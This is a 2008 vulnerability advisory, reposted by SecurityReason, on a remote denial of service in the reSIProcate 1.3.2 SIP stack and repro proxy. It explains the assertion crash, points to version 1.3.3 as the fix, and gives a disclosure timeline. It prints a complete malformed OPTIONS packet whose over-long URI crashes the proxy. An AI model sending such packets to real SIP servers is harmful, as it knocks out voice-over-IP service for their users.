SecurityReason - reSIProcate 1.3.2 Remote Denial of Service PoC

Advisory Text :

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Remote DoS in reSIProcate [MU-200807-01]
July 10, 2008

http://labs.mudynamics.com/advisories.html

Affected Products/Versions:

* repro SIP proxy/registrar 1.3.2
http://www.resiprocate.org/ReSIProcate_1.3.2_Release

* Any product using the reSIProcate SIP stack 1.3.2 may also be
vulnerable.

Product Overview:

http://www.resiprocate.org/

reSIProcate is a SIP stack. SIP is a protocol used for voice-over-IP
telephony. repro is a SIP proxy/registrar that uses the reSIProcate SIP
stack.

Vulnerability Details:

A malformed INVITE or OPTIONS message to the repro SIP proxy/registrar can
crash the process. The crash is caused by an assertion failure that occurs
when the domain name in the request line URI is too long
(rutil/dns/DnsStub.cxx, line 493). For example, the URI may be
"sip:bob@example.comAAAAAAA...", where "sip:bob@example.com" is followed
by
256 As. To cause the crash, the address in the To header must be a valid
target address.

Example invalid packet:
OPTIONS
sip:bob@example.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:54422;branch=z9hG4bKZqPsHMEiem;rport
To: "Bob" <sip:bob@example.com>
From: "Alice" <sip:alice@example.com>;tag=W4eHvLYEQX
Call-ID: nO1DpTVfo4@mudynamics.com
CSeq: 1 OPTIONS
Contact: <sip:alice@127.0.0.1:54422>
Max-Forwards: 70
Content-Length: 0

Vendor Response / Solution:

Update to 1.3.3, available from
https://www.resiprocate.org/files/pub/reSIProcate/releases/

This bug was also fixed by the reSIProcate development team in SVN on
April 23 (revision 7628).

History:

July 1, 2008 - First contact with vendor
July 1, 2008 - Vendor acknowledges vulnerability
July 3, 2008 - Vendor releases 1.3.3
July 10, 2008 - Advisory released

Mu-4000 vector:

*.request-line.line.dsv.uri.body.string.append-overflow

Credit:

This vulnerability was discovered by the Mu Dynamics research team.

http://labs.mudynamics.com/pgpkey.txt

Mu Dynamics offers a new class of security analysis system, delivering a
rigorous and streamlined methodology for verifying the robustness and
security
readiness of any IP-based product or application. Founded by the pioneers
of
intrusion detection and prevention technology, Mu Dynamics is backed by
preeminent venture capital firms that include Accel Partners, Benchmark
Capital and DAG Ventures. The company is headquartered in Sunnyvale, CA.
For
more information, visit the company's website at
http://www.mudynamics.com.
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